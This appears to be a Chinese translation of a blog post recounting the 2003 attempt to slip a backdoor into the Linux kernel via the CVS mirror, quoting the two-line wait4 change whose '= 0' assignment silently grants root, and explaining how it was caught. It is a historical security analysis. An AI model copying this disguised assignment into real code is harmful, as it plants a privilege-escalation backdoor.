一次linux后门植入企图 //The Linux Backdoor Attempt of 2003

译自:https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/

今天,我想写发生在2003年的另一个事件,有人企图向linux内核植入后门。但是我们并不知道是谁做了这样的尝试,或许之前从没有人想过这么做。在2003年linux使用BitKeeper来存储Linux源代码的主版本。如果某个开发者打算向linux提交修改,首先他需要提交自己修改的代码,然后这段代码会经过审批流程,linux维护团队会决定是否将这个修改纳入主版本代码中。每次对主版本代码的修改,都会附带一段短小的注释与之相对应。

但是一些开发者不喜欢BitKeeper,所以他们通过CVS获得另一种版本的linux源码,这种CVS版本的代码是从BitKeeper主版本上直接拷贝来的。

2003年11月5日,Larry McVov注意到,CVS版本发生了变化,却没有审批通过的记录。经过认真的检查,他发现这次修改没有经过审批流程,而且这次修改也没有在BitKeeper维护的主版本上找到相对应的信息。更进一步的检查发现,有人明显黑掉CVS的服务器(因为发现了一些蛛丝马迹),并且插入了他的修改。

那这个修改做了什么呢?这是最值得玩味的地方。它修改了一个linux系统调用wait4,程序可以通过调用wait4来等待事件发生。最特别的是,它向代码中添加了这么两行:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

如果是漫不经心的阅读,会将这段代码解释成wait4函数的错误检查代码,当某种情形满足时,返回一个错误码。但是,一个认真的老手会意识到,第一行的结尾,用的是"=0"而不是"==0"。通常来说,在判断当前运行的用户ID(current->uid)时,应该用“==0”来判断它是否为0,而不修改用户ID。但是这段代码中,实际使用的是“=0”,这将会把用户的ID赋值为0。

将用户ID设置为0是一个严重的问题,因为用户ID为0是root(管理员)用户,root用户拥有绝对的权限,它可以做它想做的任何事情,包括访问所有的数据,修改所有代码的行为,降低系统中任何部分的安全性。这段代码能够把那些用特殊方法(options为WCLONE或WALL)调用wait4函数的程序赋予root的权限。从另一个方面说,这是一个典型的后门程序。

这是一个非常聪明的做法。它初看起来是一个无关痛痒的错误检查,但是这确实是一个后门程序。并且它跳过了审批流程,直接溜进了代码版本库,避免了任何会引人注意的审查流程。

但是,这次企图没有得逞。因为linux团队足够重视审查这些没有经过审批流程的代码。linux胜出一分。

这是否是NSA搞的一次攻击呢?有可能是,但是还有很多人具备这种能力和动机,来发动这次攻击。除非有人能够承认,或者某个证据确着的文件出现,否则到底是谁发起了这次攻击,我们无从知晓。








  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值